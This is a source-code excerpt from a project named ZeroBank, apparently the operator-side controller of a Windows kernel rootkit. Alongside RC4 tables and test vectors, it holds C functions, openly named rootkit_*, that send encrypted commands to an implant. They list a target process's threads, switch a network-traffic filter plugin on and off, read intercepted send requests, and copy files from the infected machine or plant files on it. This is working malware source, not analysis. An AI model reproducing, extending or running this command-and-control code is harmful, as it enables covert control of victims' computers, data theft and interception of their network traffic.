33 | 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
34 | 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
35 | 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
36 | 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
37 | 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
38 | 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
39 | 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,
40 | 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
41 | 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
42 | 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
43 | 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
44 | 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
45 | 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
46 | 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
47 | 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
48 | 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
49 | 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
50 | 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
51 | 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
52 | 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
53 | 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
54 | 0xfc, 0xfd, 0xfe, 0xff };
55 |
56 | #define SWAP(x, y) \
57 | { \
58 | tmp = x; \
59 | x = y; \
60 | y = tmp; \
61 | }
62 |
63 | #define RC4_CRYPT() \
64 | { \
65 | t += s[(uint8) i]; \
66 | SWAP(s[(uint8) i], s[t]); \
67 | new_dst[i] = new_src[i] ^ s[(uint8) (s[(uint8) i] + s[t])]; \
68 | }
69 |
70 | /*
71 | * Test vectors from K. Kaukonen and R. Thayer (SSH) Internet Draft
72 | * for Arcfour algorithm
73 | */
74 |
75 | /* Test vectors from [CRYPTLIB] */
76 |
77 | static const uint8 pt1[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
78 | static const uint8 key1[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef };
79 | static const uint8 ct1[8] = { 0x74, 0x94, 0xc2, 0xe7, 0x10, 0x4b, 0x08, 0x79 };
80 |
81 | /* Test vectors from [COMMERCE] */
82 |
83 | static const uint8 pt2[5] = { 0xdc, 0xee, 0x4c, 0xf9, 0x2c };
84 | static const uint8 key2[5] = { 0x61, 0x8a, 0x63, 0xd2, 0xfb };
85 | static const uint8 ct2[5] = { 0xf1, 0x38, 0x29, 0xc9, 0xde };
86 |
87 | /* Test vectors from [SSH ARCFOUR] */
88 |
89 | static const uint8 pt3[309] = {
90 | 0x52, 0x75, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6e, 0x75, 0x6e, 0x20, 0x6c,
91 | 0x61, 0x75, 0x6c, 0x75, 0x20, 0x6b, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x73,
92 | 0x73, 0x61, 0x6e, 0x69, 0x2c, 0x20, 0x74, 0xe4, 0x68, 0x6b, 0xe4, 0x70,
93 | 0xe4, 0x69, 0x64, 0x65, 0x6e, 0x20, 0x70, 0xe4, 0xe4, 0x6c, 0x6c, 0xe4,
94 | 0x20, 0x74, 0xe4, 0x79, 0x73, 0x69, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x4b,
95 | 0x65, 0x73, 0xe4, 0x79, 0xf6, 0x6e, 0x20, 0x6f, 0x6e, 0x20, 0x6f, 0x6e,
96 | 0x6e, 0x69, 0x20, 0x6f, 0x6d, 0x61, 0x6e, 0x61, 0x6e, 0x69, 0x2c, 0x20,
97 | 0x6b, 0x61, 0x73, 0x6b, 0x69, 0x73, 0x61, 0x76, 0x75, 0x75, 0x6e, 0x20,
98 | 0x6c, 0x61, 0x61, 0x6b, 0x73, 0x6f, 0x74, 0x20, 0x76, 0x65, 0x72, 0x68,
99 | 0x6f, 0x75, 0x75, 0x2e, 0x20, 0x45, 0x6e, 0x20, 0x6d, 0x61, 0x20, 0x69,
100 | 0x6c, 0x6f, 0x69, 0x74, 0x73, 0x65, 0x2c, 0x20, 0x73, 0x75, 0x72, 0x65,
101 | 0x20, 0x68, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2c, 0x20, 0x6d, 0x75, 0x74,
102 | 0x74, 0x61, 0x20, 0x6d, 0x65, 0x74, 0x73, 0xe4, 0x6e, 0x20, 0x74, 0x75,
103 | 0x6d, 0x6d, 0x75, 0x75, 0x73, 0x20, 0x6d, 0x75, 0x6c, 0x6c, 0x65, 0x20,
104 | 0x74, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2e, 0x20, 0x50, 0x75, 0x75, 0x6e,
105 | 0x74, 0x6f, 0x20, 0x70, 0x69, 0x6c, 0x76, 0x65, 0x6e, 0x2c, 0x20, 0x6d,
106 | 0x69, 0x20, 0x68, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2c, 0x20, 0x73, 0x69,
107 | 0x69, 0x6e, 0x74, 0x6f, 0x20, 0x76, 0x61, 0x72, 0x61, 0x6e, 0x20, 0x74,
108 | 0x75, 0x75, 0x6c, 0x69, 0x73, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 0x69, 0x20,
109 | 0x6e, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x54, 0x75, 0x6f, 0x6b,
110 | 0x73, 0x75, 0x74, 0x20, 0x76, 0x61, 0x6e, 0x61, 0x6d, 0x6f, 0x6e, 0x20,
111 | 0x6a, 0x61, 0x20, 0x76, 0x61, 0x72, 0x6a, 0x6f, 0x74, 0x20, 0x76, 0x65,
112 | 0x65, 0x6e, 0x2c, 0x20, 0x6e, 0x69, 0x69, 0x73, 0x74, 0xe4, 0x20, 0x73,
113 | 0x79, 0x64, 0xe4, 0x6d, 0x65, 0x6e, 0x69, 0x20, 0x6c, 0x61, 0x75, 0x6c,
114 | 0x75, 0x6e, 0x20, 0x74, 0x65, 0x65, 0x6e, 0x2e, 0x20, 0x2d, 0x20, 0x45,
115 | 0x69, 0x6e, 0x6f, 0x20, 0x4c, 0x65, 0x69, 0x6e, 0x6f };
116 |
117 | static const uint8 key3[16] = {
118 | 0x29, 0x04, 0x19, 0x72, 0xfb, 0x42, 0xba, 0x5f,
119 | 0xc7, 0x12, 0x77, 0x12, 0xf1, 0x38, 0x29, 0xc9 };
120 |
121 | static const uint8 ct3[309] = {
122 | 0x35, 0x81, 0x86, 0x99, 0x90, 0x01, 0xe6, 0xb5, 0xda, 0xf0, 0x5e, 0xce,
123 | 0xeb, 0x7e, 0xee, 0x21, 0xe0, 0x68, 0x9c, 0x1f, 0x00, 0xee, 0xa8, 0x1f,
124 | 0x7d, 0xd2, 0xca, 0xae, 0xe1, 0xd2, 0x76, 0x3e, 0x68, 0xaf, 0x0e, 0xad,
125 | 0x33, 0xd6, 0x6c, 0x26, 0x8b, 0xc9, 0x46, 0xc4, 0x84, 0xfb, 0xe9, 0x4c,
126 | 0x5f, 0x5e, 0x0b, 0x86, 0xa5, 0x92, 0x79, 0xe4, 0xf8, 0x24, 0xe7, 0xa6,
127 | 0x40, 0xbd, 0x22, 0x32, 0x10, 0xb0, 0xa6, 0x11, 0x60, 0xb7, 0xbc, 0xe9,
128 | 0x86, 0xea, 0x65, 0x68, 0x80, 0x03, 0x59, 0x6b, 0x63, 0x0a, 0x6b, 0x90,
129 | 0xf8, 0xe0, 0xca, 0xf6, 0x91, 0x2a, 0x98, 0xeb, 0x87, 0x21, 0x76, 0xe8,
130 | 0x3c, 0x20, 0x2c, 0xaa, 0x64, 0x16, 0x6d, 0x2c, 0xce, 0x57, 0xff, 0x1b,
131 | 0xca, 0x57, 0xb2, 0x13, 0xf0, 0xed, 0x1a, 0xa7, 0x2f, 0xb8, 0xea, 0x52,
132 | 0xb0, 0xbe, 0x01, 0xcd, 0x1e, 0x41, 0x28, 0x67, 0x72, 0x0b, 0x32, 0x6e,
133 | 0xb3, 0x89, 0xd0, 0x11, 0xbd, 0x70, 0xd8, 0xaf, 0x03, 0x5f, 0xb0, 0xd8,
134 | 0x58, 0x9d, 0xbc, 0xe3, 0xc6, 0x66, 0xf5, 0xea, 0x8d, 0x4c, 0x79, 0x54,
135 | 0xc5, 0x0c, 0x3f, 0x34, 0x0b, 0x04, 0x67, 0xf8, 0x1b, 0x42, 0x59, 0x61,
136 | 0xc1, 0x18, 0x43, 0x07, 0x4d, 0xf6, 0x20, 0xf2, 0x08, 0x40, 0x4b, 0x39,
137 | 0x4c, 0xf9, 0xd3, 0x7f, 0xf5, 0x4b, 0x5f, 0x1a, 0xd8, 0xf6, 0xea, 0x7d,
138 | 0xa3, 0xc5, 0x61, 0xdf, 0xa7, 0x28, 0x1f, 0x96, 0x44, 0x63, 0xd2, 0xcc,
139 | 0x35, 0xa4, 0xd1, 0xb0, 0x34, 0x90, 0xde, 0xc5, 0x1b, 0x07, 0x11, 0xfb,
140 | 0xd6, 0xf5, 0x5f, 0x79, 0x23, 0x4d, 0x5b, 0x7c, 0x76, 0x66, 0x22, 0xa6,
141 | 0x6d, 0xe9, 0x2b, 0xe9, 0x96, 0x46, 0x1d, 0x5e, 0x4d, 0xc8, 0x78, 0xef,
142 | 0x9b, 0xca, 0x03, 0x05, 0x21, 0xe8, 0x35, 0x1e, 0x4b, 0xae, 0xd2, 0xfd,
143 | 0x04, 0xf9, 0x46, 0x73, 0x68, 0xc4, 0xad, 0x6a, 0xc1, 0x86, 0xd0, 0x82,
144 | 0x45, 0xb2, 0x63, 0xa2, 0x66, 0x6d, 0x1f, 0x6c, 0x54, 0x20, 0xf1, 0x59,
145 | 0x9d, 0xfd, 0x9f, 0x43, 0x89, 0x21, 0xc2, 0xf5, 0xa4, 0x63, 0x93, 0x8c,
146 | 0xe0, 0x98, 0x22, 0x65, 0xee, 0xf7, 0x01, 0x79, 0xbc, 0x55, 0x3f, 0x33,
147 | 0x9e, 0xb1, 0xa4, 0xc1, 0xaf, 0x5f, 0x6a, 0x54, 0x7f };
148 |
149 |
150 | INT send_packet_encrypted(IN SOCKET sock, IN INT keytype, IN PVOID Buffer, IN INT len);
151 | PVOID recv_decrypted(IN SOCKET sock, IN INT keytype, IN PVOID buffer,IN INT len);
152 |
--------------------------------------------------------------------------------
/ZeroBank!server/server_sendrequests.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOLEAN rootkit_get_send_requests(IN SOCKET sock, IN BYTE Packet)
4 | {
5 | INT sendsize = 0;
6 | INT recvsize = 0;
7 | INT getsize = 0;
8 | ZEROBANK_PACKET_TYPE Type = { 0 };
9 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL, pGet = NULL;
10 | PVOID Alloc = NULL;
11 | ULONG NumberOfEntries = 0;
12 | BOOLEAN g_cond = FALSE;
13 |
14 | Type.PacketType = Packet;
15 |
16 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PVOID)&Type, sizeof(ZEROBANK_PACKET_TYPE));
17 | if (sendsize > 0)
18 | {
19 | recvsize = recv(sock, (PCHAR)&getsize, sizeof(ULONG), 0);
20 | if (recvsize > 0 && getsize > 0)
21 | {
22 | Alloc = recv_decrypted(sock, RC4_KEY_2, (PVOID)pSend, getsize);
23 | if (Alloc)
24 | {
25 | pGet = (PZEROBANK_FILTER_SEND_REQUESTS)Alloc;
26 |
27 | NumberOfEntries = getsize / sizeof(ZEROBANK_FILTER_SEND_REQUESTS);
28 |
29 | for (ULONG i = 0; i < NumberOfEntries; i++, pGet++)
30 | {
31 | printf("\r\n%s", pGet->SendBuffer);
32 | g_cond = TRUE;
33 | }
34 | RtlFreeHeap(GetProcessHeap(), 0, Alloc);
35 | Alloc = NULL;
36 | }
37 | }
38 | }
39 |
40 | return g_cond;
41 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_sendrequests.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ZEROBANK_FILTER_SEND_REQUESTS {
4 | LIST_ENTRY Entry;
5 | CHAR SendBuffer[2048];
6 | }ZEROBANK_FILTER_SEND_REQUESTS, *PZEROBANK_FILTER_SEND_REQUESTS;
7 |
8 | typedef struct _ZEROBANK_SEND_HEAD {
9 | LIST_ENTRY Entry;
10 | ULONG NumberOfEntries;
11 | }ZEROBANK_SEND_HEAD, *PZEROBANK_SEND_HEAD;
12 |
13 | BOOLEAN rootkit_get_send_requests(IN SOCKET sock, IN BYTE Packet);
--------------------------------------------------------------------------------
/ZeroBank!server/server_tdifilter.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | VOID rootkit_start_TDI_filter(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | INT sendsize = 0;
6 | ZEROBANK_PACKET_TYPE packet = { 0 };
7 | packet.PacketType = PacketType;
8 |
9 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE));
10 | if (sendsize > 0)
11 | printf("\r\n{ START-TDI-FILTER-PLUGIN } command sent");
12 | else
13 | printf("\r\n{ START-TDI-FILTER-PLUGIN } Error sending command: %lu",RtlGetLastWin32Error());
14 |
15 | }
16 |
17 | VOID rootkit_stop_TDI_filter(IN SOCKET sock, IN BYTE PacketType)
18 | {
19 | INT sendsize = 0;
20 | ZEROBANK_PACKET_TYPE packet = { 0 };
21 | packet.PacketType = PacketType;
22 |
23 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE));
24 | if (sendsize > 0)
25 | printf("\r\n{ STOP-TDI-FILTER-PLUGIN } command sent");
26 | else
27 | printf("\r\n{ STOP-TDI-FILTER-PLUGIN } Error sending command: %lu", RtlGetLastWin32Error());
28 |
29 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_tdifilter.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | VOID rootkit_start_TDI_filter(IN SOCKET sock, IN BYTE PacketType);
4 | VOID rootkit_stop_TDI_filter(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_thread.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOL rootkit_get_process_ethread(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | ZEROBANK_PACKET_TYPE type = { 0 };
6 | INT sendsize = 0;
7 | INT getsize = 0;
8 | INT recvsize = 0;
9 | INT offset = 0;
10 | INT amount = 0;
11 | PVOID Out = NULL;
12 | BOOL ret;
13 | PROOTKIT_THREAD_ENTRY ThreadEntry = NULL, Entry = NULL;
14 | ULONG NumberOfThreads = NULL;
15 |
16 | char *ethread = "Ethread";
17 | char *StartAddress = "StartAddress";
18 | char *ContextSwitches = "ContextSwitches";
19 | char *StackResident = "KernelStackResident";
20 | char *id = "ThreadId";
21 | char *time = "CreateTime";
22 | char *ktime = "Kerneltime";
23 |
24 | printf("\r\n{ ETHREAD-PLUGIN } Introduce ProcessID-> ");
25 | scanf("%d", &type.ProcessId_For_ETHREAD_plugin);
26 | type.PacketType = PacketType;
27 |
28 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE));
29 | if (sendsize > 0)
30 | {
31 | recvsize = recv(sock, (char*)&getsize, sizeof(INT), 0);
32 | if (recvsize > 0 && getsize > 0)
33 | {
34 |
35 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_THREAD_ENTRY)Entry, getsize);
36 | if (Out != NULL)
37 | {
38 | ThreadEntry = (PROOTKIT_THREAD_ENTRY)Out;
39 | if (ThreadEntry)
40 | {
41 | NumberOfThreads = getsize / sizeof(ROOTKIT_THREAD_ENTRY);
42 |
43 | printf("\r\n");
44 | printf("\r\n%s \t%s %10s %15s %11s %25s %20s", ethread, StartAddress, ContextSwitches, StackResident, id, time, ktime);
45 | printf("\r\n");
46 |
47 | for (ULONG i = 0; i < NumberOfThreads; i++, ThreadEntry++)
48 | {
49 |
50 | printf("\r\n0x%p", ThreadEntry->Ethread);
51 | printf("\t0x%p", ThreadEntry->StartAddress);
52 | printf("%10d", ThreadEntry->ContextSwitches);
53 | printf("%15s", ThreadEntry->KernelStackResident ? "Yes" : "No");
54 | printf("%20lu", ThreadEntry->ThreadId);
55 | printf("%35s", ThreadEntry->ThreadCreationTime);
56 | printf("%20u", ThreadEntry->KernelTime);
57 |
58 | ret = TRUE;
59 |
60 | }
61 | }
62 | RtlFreeHeap(GetProcessHeap(), 0, Out);
63 | Out = NULL;
64 | }
65 | }
66 | }
67 | else
68 | {
69 | ret = FALSE;
70 | }
71 |
72 | return ret;
73 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_thread.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_THREAD_ENTRY {
4 | LIST_ENTRY Entry;
5 | ULONG_PTR Ethread;
6 | UINT16 ContextSwitches;
7 | BOOLEAN KernelStackResident;
8 | ULONG_PTR StartAddress;
9 | ULONG ThreadId;
10 | CHAR ThreadCreationTime[255];
11 | UINT32 KernelTime;
12 | }ROOTKIT_THREAD_ENTRY, *PROOTKIT_THREAD_ENTRY;
13 |
14 | typedef struct _ROOTKIT_THREAD_LIST_HEAD {
15 | LIST_ENTRY Entry;
16 | ULONG NumberOfThreads;
17 | }ROOTKIT_THREAD_LIST_HEAD, *PROOTKIT_THREAD_LIST_HEAD;
18 |
19 | BOOL rootkit_get_process_ethread(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_transfer.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOLEAN rootkit_get_file_from_kernel(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | ZEROBANK_PACKET_TYPE type = { 0 };
6 | INT filesize = 0;
7 | INT sendsize = 0;
8 | INT Amount = 0;
9 | INT Size = 0;
10 | HANDLE filehandle = NULL;
11 | WCHAR SaveFileLocation[MAX_PATH] = { 0 };
12 | WCHAR wzPrefix[MAX_PATH] = { 0 };
13 | UNICODE_STRING uni = { 0 };
14 | OBJECT_ATTRIBUTES oa = { 0 };
15 | IO_STATUS_BLOCK io = { 0 };
16 | NTSTATUS st;
17 | LARGE_INTEGER large = { 0 };
18 | BOOLEAN ret;
19 | PVOID Buffer = NULL, Out = NULL;
20 |
21 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Introduce file to download (NT-Format)-> ");
22 | scanf("%s", &type.FileName_For_File_Transfer);
23 |
24 | type.PacketType = PacketType;
25 |
26 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Enter full path-name for file saving");
27 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Example C:\\Users\\Documents\\[name and extension]");
28 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN }-> ");
29 | wscanf(L"\r\n%ws", SaveFileLocation);
30 | wcscpy(wzPrefix, L"\\??\\");
31 | wcscat(wzPrefix, SaveFileLocation);
32 |
33 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE));
34 | if (sendsize > 0)
35 | {
36 |
37 | // receiving kernel data in chunks of 1024 bytes
38 |
39 | char *filesize = (char*)RtlAllocateHeap(GetProcessHeap(),
40 | HEAP_ZERO_MEMORY,
41 | 1024);
42 | if (recv(sock, filesize, 1024, 0))
43 | {
44 | Size = atoi(filesize);
45 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } File size: %d", Size);
46 | }
47 |
48 | Out = recv_decrypted(sock, RC4_KEY_3, (PVOID)Buffer, Size);
49 | if (Out == NULL)
50 | return FALSE;
51 |
52 | RtlInitUnicodeString(&uni, wzPrefix);
53 | InitializeObjectAttributes(&oa, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL);
54 | large.QuadPart = 1024;
55 | __try
56 | {
57 | st = NtCreateFile(&filehandle,
58 | FILE_GENERIC_WRITE,
59 | &oa,
60 | &io,
61 | &large,
62 | FILE_ATTRIBUTE_NORMAL,
63 | FILE_SHARE_WRITE,
64 | FILE_CREATE,
65 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
66 | NULL,
67 | 0);
68 | if (NT_SUCCESS(st))
69 | {
70 |
71 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } File successfully created");
72 |
73 | st = NtWriteFile(filehandle,
74 | NULL,
75 | NULL,
76 | NULL,
77 | &io,
78 | (PVOID)Out,
79 | Size,
80 | NULL,
81 | 0);
82 | if (NT_SUCCESS(st))
83 | {
84 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Data successfully written to file");
85 | NtClose(filehandle);
86 | ret = TRUE;
87 | }
88 | else
89 | {
90 | printf("\r\nNtWriteFile error: 0x%x", st);
91 | ret=FALSE;
92 | }
93 | }
94 | else
95 | {
96 | printf("\r\nNtCreateFile error: 0x%x", st);
97 | ret = FALSE;
98 | }
99 | }
100 | __except (EXCEPTION_EXECUTE_HANDLER)
101 | {
102 | RtlFreeHeap(GetProcessHeap(), 0, Buffer);
103 | printf("\r\nException Catch");
104 | }
105 |
106 | RtlFreeHeap(GetProcessHeap(), 0, Buffer);
107 | }
108 |
109 | else
110 | {
111 | printf("\r\nError sending packet");
112 | ret = FALSE;
113 | }
114 |
115 |
116 | return ret;
117 | }
118 |
119 | BOOLEAN rootkit_send_file_to_kernel(IN SOCKET sock, IN BYTE PacketType)
120 | {
121 | NTSTATUS st;
122 | FILE_STANDARD_INFORMATION fileinfo = { 0 };
123 | OBJECT_ATTRIBUTES oa = { 0 };
124 | UNICODE_STRING ustr1 = { 0 };
125 | IO_STATUS_BLOCK io = { 0 };
126 | BOOL ret;
127 | HANDLE handle;
128 | WCHAR path[MAX_PATH] = { 0 };
129 | ZEROBANK_PACKET_TYPE Type = { 0 };
130 | ROOTKIT_STORE_USERSPACE_FILE storefile = { 0 };
131 | int sendsize = 0;
132 | PVOID Buffer = NULL;
133 |
134 |
135 | wprintf(L"\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Introduce file to send (NT Format) -> ");
136 | wscanf(L"%ws", path);
137 |
138 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Introduce file-storing name-> ");
139 | scanf("%s", storefile.FileName);
140 |
141 | Type.PacketType = PacketType;
142 |
143 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Type, sizeof(ZEROBANK_PACKET_TYPE), 0);
144 | if (sendsize <= 0)
145 | ret = FALSE;
146 |
147 | RtlInitUnicodeString(&ustr1, path);
148 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE, NULL, NULL);
149 | st = NtCreateFile(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,
150 | FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
151 | if (!NT_SUCCESS(st))
152 | {
153 | NtClose(handle);
154 | ret = FALSE;
155 | }
156 |
157 | st = NtQueryInformationFile(handle, &io, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
158 | if (!NT_SUCCESS(st))
159 | ret = FALSE;
160 |
161 | storefile.FileSize = (unsigned long)fileinfo.EndOfFile.QuadPart;
162 |
163 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Bytes: %lu", storefile.FileSize);
164 |
165 | Buffer = LocalAlloc(LPTR, fileinfo.EndOfFile.QuadPart);
166 | if (Buffer == NULL)
167 | ret = FALSE;
168 |
169 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Memory Allocated: 0x%p", Buffer);
170 |
171 | st = NtReadFile(handle, NULL, NULL, NULL, &io, (PVOID)Buffer, fileinfo.EndOfFile.QuadPart, NULL, 0);
172 | if (!NT_SUCCESS(st))
173 | ret = FALSE;
174 |
175 | sendsize = send(sock, (const char*)&storefile, sizeof(ROOTKIT_STORE_USERSPACE_FILE), 0);
176 | if (sendsize > 0)
177 | {
178 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Size sent");
179 |
180 | sendsize = send(sock, (const char*)Buffer, (ULONG)fileinfo.EndOfFile.QuadPart, 0);
181 | if (sendsize > 0)
182 | {
183 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Buffer sent");
184 | ret = TRUE;
185 | }
186 | }
187 |
188 | NtClose(handle);
189 | LocalFree(Buffer);
190 |
191 | return ret;
192 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_transfer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_STORE_USERSPACE_FILE
4 | {
5 | CHAR FileName[255];
6 | ULONG FileSize;
7 |
8 | }ROOTKIT_STORE_USERSPACE_FILE, *PROOTKIT_STORE_USERSPACE_FILE;
9 |
10 | BOOLEAN rootkit_get_file_from_kernel(IN SOCKET socket, IN BYTE PacketType);
11 | BOOLEAN rootkit_send_file_to_kernel(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------